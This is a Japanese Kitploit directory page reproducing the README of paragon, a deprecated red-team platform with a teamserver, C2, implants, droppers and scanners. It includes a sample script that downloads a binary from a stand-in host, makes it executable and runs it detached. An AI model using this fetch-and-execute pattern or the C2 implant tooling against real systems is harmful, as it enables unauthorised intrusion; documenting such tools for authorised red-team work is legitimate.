Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
paragon — シンプルなUIで攻撃ツールを統合することを目的としたレッドチームエンゲージメントプラットフォーム | Kitploit
ツール/GitHubGitHub/kcarretto/paragon
ペネトレーションテストフレームワークエクスプロイトフレームワークスクリプトと自動化ポストエクスプロイトコマンド&コントロールレッドチーミングペイロード開発
GitHubkcarretto/paragon

paragon

シンプルなUIで攻撃ツールを統合することを目的としたレッドチームエンゲージメントプラットフォーム

リポジトリを見る
3044262年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

非推奨のお知らせ

このプロジェクトは非推奨となりました。新しい Realm プロジェクト を参照してください。このリポジトリを構築した際の多くのアイデアを基にしています。

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

Paragon

Demo

Paragon はレッドチームエンゲージメントプラットフォームです。シンプルな UI の背後で攻撃ツールを統合し、バックエンド作業の多くを抽象化することで、オペレーターはインプラントの作成に集中でき、データベースや CSS に悩む時間を減らすことができます。このリポジトリには、エンゲージメント中に使用できる Paragon に統合された攻撃ツールもいくつか含まれています。

このリポジトリはまだ活発に開発中であり、本番環境での使用には適していません。安定したと判断された時点で、V1.0.0 タグがリリースされます。それまでは、設計を継続的に簡素化するため、API に破壊的な変更が加えられる可能性があります。このマイルストーンをより早く達成するためにご協力いただける場合は、以下の開発者向けドキュメントをお読みください。

目次

  • 機能のハイライト
  • はじめに
  • コンポーネント概要
  • よくある質問
  • 用語
  • 開発者ガイド

機能のハイライト

  • カスタムツールを簡単に統合して、単一のインターフェースで操作を統一
  • 提供される GraphQL API を使用してレッドチームのナレッジグラフをクエリ
  • 低レイテンシの自動化とリアルタイム処理のためのイベント発行
  • デプロイメント、ポストエクスプロイテーションなどのための Python ライクなスクリプト言語
  • クロスプラットフォームのインプラントとデプロイメントを含む
  • オペレーターのアクティビティを記録し、レビュー用のエンゲージメント後レポートに簡単に集約

はじめに

クイックデモインスタンスはリポジトリをクローンして docker-compose up を実行することでセットアップできます。ブラウザで 127.0.0.1:80 を開いて開始してください!

使用されるイメージは Docker Hub で入手可能であり、本番環境デプロイメント用に docker-compose ファイルから設定できます。

コンポーネント概要

スクリプト言語

このリポジトリのほとんどのコンポーネントは、Python ライクなスクリプト言語に依存しており、動作を強力に制御およびカスタマイズできます。この言語は Google の starlark の修正版であり、オペレーター向けのクロスプラットフォーム機能が拡張されています。これにより、エージェントやドロッパー(後述)などのツールがシステムバイナリ(curl、bash など)に依存せずにタスクを実行できます。すべての操作は Golang のコードとして実行されるため、スクリプト環境に追加機能を追加するのは直感的です。以下にサンプルスクリプトを示します。

root@kitploit:~
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

リファレンス

Teamserver

シンプルな Web アプリケーションと GraphQL API を提供し、レッドチームのナレッジグラフとインターフェースします。ツールを一元化された信頼できる情報源の背後に統合し、オペレーターから多くの面倒なバックエンドの懸念事項を抽象化します。カスタムツールを Teamserver と統合して(GraphQL API またはイベントサブスクリプションを使用)、バックエンド作業の時間を節約してください。Teamserver はすべてのアクティビティを記録するため、すべてのツールを一か所に統合することで、エンゲージメント後のレポート作成が大幅に容易になります。

組み込みツール

以下のツールもリポジトリに含まれています。これらは多くのクロスプラットフォームのユースケースに合わせて簡単に拡張できます。

ドロッパー

  • 完全クロスプラットフォーム
  • アセットを単一のバイナリに静的にコンパイル
  • カスタムデプロイメント設定のための Python ライクなスクリプト言語を提供

Paragon は、アセット(バイナリ、スクリプトなど)を単一のバイナリにパッケージ化するツールを提供します。このバイナリを実行すると、カスタムデプロイメントスクリプトが実行され、アセットをファイルシステムに書き込んだり、プロセスを起動したり、ファイルをダウンロードしたり、エラーを処理したりできます。完全クロスプラットフォームで静的にコンパイルされており、信頼性の高いデプロイメントを提供します。機能を拡張したい場合は、コンパイル前に生成された Golang ファイルを拡張するだけです。

エージェント

  • 完全クロスプラットフォーム
  • ポストエクスプロイテーションのための Python ライクなスクリプト言語を提供
  • モジュール式の通信メカニズム、必要なものだけをコンパイル
    • 複数のオプションを利用して信頼性の高いコールバックを確保
  • 通信障害時のエージェントの動作をカスタマイズ

タスクを実行し、実行結果を報告するインプラントです。デフォルトでは、Paragon の Python ライクなスクリプト言語を使用してタスクを実行し、http(s) 経由で C2 と通信するように設定されています。Go で書かれているため、新しいトランスポート方式(DNS など)、実行オプション、フェイルオーバーロジックなどを簡単に追加できます。

C2

  • 軽量なデプロイメント
  • 高性能、数千のエージェントを処理可能
    • システムリソースと利用可能な帯域幅に依存
  • 分散サービス、好きなだけ C2 を利用可能

エージェントと Teamserver の間の仲介役として機能します。さまざまな通信メカニズムに対応するエージェントのコールバックを処理し、Teamserver キューから新しいタスクを提供します。

ランナー

  • 低レイテンシ、リアルタイムのタスク実行
  • より多くの通信メカニズムを追加するために簡単に拡張可能
  • 分散サービス、好きなだけランナーを利用可能

コールバックを待つ代わりに、タスクを迅速に実行してその出力を確認するためにフォワード接続が必要な状況があります。ランナーは、タスクキューにサブスクライブし、ターゲットマシンへの接続(ssh を使用など)を確立することでこれを実現します。これにより、シェルライクな統合がインプラントや C2 と同じインターフェースを利用できるようになります。また、このインターフェースを介して初期インプラントのデプロイメントを実施することもできます。

スキャナー

  • 到達可能なターゲットサービスを監視
  • サービスが利用可能(または利用不可)になったときの応答を自動化
  • ネットワーク情報をナレッジグラフに提供し、他のツールで利用可能
  • 分散サービス、好きなだけスキャナーを利用可能

ターゲットネットワークのアクティビティと可視サービスを監視します。エンゲージメントネットワークのグラフをマッピングし、状態変化(ssh が利用可能になるなど)に応じて自動化をトリガーします。

よくある質問

マシンが同じ UUID を報告した場合はどうなりますか?

チームサーバーに対して PG_KS_MachineUUID キルスイッチ環境変数を設定すると、マシン UUID を使用したルックアップが無効になります。

用語

これらの複雑なシステムについて明確なコミュニケーションを確保するために、プロジェクト固有の用語を以下にまとめます。これらの用語はプロジェクトのドキュメント全体で使用されます。

インプラント

エンゲージメント中に侵害されたシステム上で実行される悪意のあるソフトウェア。

タスク

特定の侵害されたシステム上で実行される望ましい操作。タスクはインプラントに実行命令を提供しますが、その構文や構造はツールに完全に固有である可能性があります。

エージェント

Teamserver からタスクを受信し、実行し、結果を報告するインプラント。拡張可能なデフォルト実装がこのリポジトリに含まれており、タスクはプロジェクトの Python ライクな DSL を使用したスクリプトとして提供される必要があります。

ジョブ

Teamserver に特定の操作セットを実行するよう要求します。ジョブを作成すると、命令は保存されますが実行されません。ユーザーは、ジョブをキューに入れ、必要なパラメーターを提供することで、ジョブを 0 回以上実行するよう Teamserver に要求できます。ジョブは更新できませんが、過度なコピーペーストを避けるために新しいバージョンのジョブを作成できます。

ジョブの一般的な使用例は、ユーザーが複数のターゲットでスクリプトを実行したい場合です。ユーザーはジョブを作成し、提供された内容でタスクを作成するよう Teamserver に指示しますが、ターゲットマシンはパラメーターとして残します。ジョブがキューに入れられると、ユーザーはパラメーターとしてターゲットマシンのリストを提供し、Teamserver は各マシンに対してタスクを作成します。

開発者ガイド

以下は Paragon 開発のための最初の簡単なリファレンスです。詳細なドキュメントはパッケージの godocs またはコードを読むことで見つけることができます。設計上の決定を最終決定した後(v1 に達する前に)、コードフリーズが実施され、すべてのドキュメントが更新され適切に整理されるまで続きます。

前提条件

  • Git
  • Docker
  • VSCode
    • 他のエディターを使用することもできますが、VSCode での開発を高速化するカスタマイズを利用できなくなります
    • 開始するには、Microsoft 提供の Remote - Containers 拡張機能が必要です。

環境設定

上記の前提条件をインストールした後、すぐに開始できます。リポジトリをクローンして VSCode で開くだけです。開発コンテナでコードベースを開くように求められます。このコンテナには、必要なすべてのプロジェクト依存関係と開発ツールが設定されています。このオプションが表示されない場合は、コマンドパレットを開いて > Remote-Containers: Open Folder In Container を実行するとコンテナが起動します。初めてコンテナを起動する場合は、ダウンロードに時間がかかる場合があります…その間にコーヒーをどうぞ ^_^

プロジェクト構成

以下はプロジェクト構造と各コンポーネントの場所の概要です。これが古くなった場合は、報告するための Issue を提出するか、できれば修正する PR を送信してください。コードベースはモノリポジトリとして設定されており、複雑なバージョン競合を避けながら、共有の開発ツール、標準化などの利点を活用できます。

フォルダ使用用途
.devcontainerVSCode コンテナ開発環境の設定。
.githubGithub の設定。
.statsパフォーマンスプロファイリング出力を保存するための git 無視ディレクトリ(存在する場合も存在しない場合もあります)。
entTeamserver で使用されるグラフ関連の API 定義。
graphqlent から生成された GraphQL スキーマと関連コード。
cmdコマンドライン実行可能ツールおよびサービス。
distビルド成果物を保存するための git 無視ディレクトリ。
dockerサンプルデプロイメントに使用される Dockerfile。
entTeamserver で使用されるグラフモデルとスキーマ(詳細は Facebook の entgo ツールを参照)。
pkgリポジトリツールで利用されるが、外部にも公開されている公開ライブラリ。
pkg/agentインプラントまたは通信トランスポートを簡単に作成するための抽象化。
pkg/c2C2 サービス関連のヘルパーと標準化されたメッセージ定義。
pkg/c2/protoAgent <-> C2 通信のための標準化されたシリアル化形式を定義する Protobuf スペック。
pkg/dropコンパイルされたドロッペーロードで使用されるシンプルなメソッドを提供。
pkg/middlewareHTTP サービスのための共通ミドルウェア。
pkg/script動的な設定、自動化、クロスプラットフォームのエクスプロイテーションのための Python ライクなスクリプト言語。
pkg/script/stdlibスクリプト実行環境に機能を公開する標準ライブラリ。
pkg/teamserverTeamserver サービス関連のヘルパー。
wwwTeamserver がホストする主要な Web アプリケーションを含む。Facebook の create-react-app アプリケーションで作成。
www/src/components再利用可能な React コンポーネント。
www/src/configWeb アプリの設定とルーティング。
www/src/viewsTeamserver からデータをクエリし、コンポーネントを構成してレンダリングするコンテナ。

Teamserver リファレンス

ナレッジグラフ

以下は、Teamserver によって管理されるレッドチームナレッジグラフのノード間の関係の概要です。

Graph

エージェントリファレンス

トランスポートの優先順位。独自のものを使用するには、agent.Sender インターフェースを実装し、初期化中にトランスポートを登録するだけです。既存のトランスポートの例は、agent パッケージのサブディレクトリにあります。

タスク実行

デフォルトでは、エージェントはタスクが starlark 構文に従うことを期待し、スクリプトが利用できる標準ライブラリを公開します。タスク実行の動作を変更する(たとえば bash コマンドのみにする)には、agent.Receiver インターフェースを実装してタスクを希望通りに実行できます。

スクリプト環境

スクリプト環境はエージェント用にカスタマイズでき、スクリプトが利用できる新しい機能を簡単にパッケージ化できます。エージェントのスクリプトエンジンを拡張する方法については、スクリプトオプション を参照してください。

実行フロー

以下は、エージェントインプラントの一般的な実行のフロー図です。

トランスポートの追加

エージェントは新しいトランスポートメカニズムで簡単にカスタマイズできるように設計されており、通信を多重化します。

AgentExec

ツールをダウンロード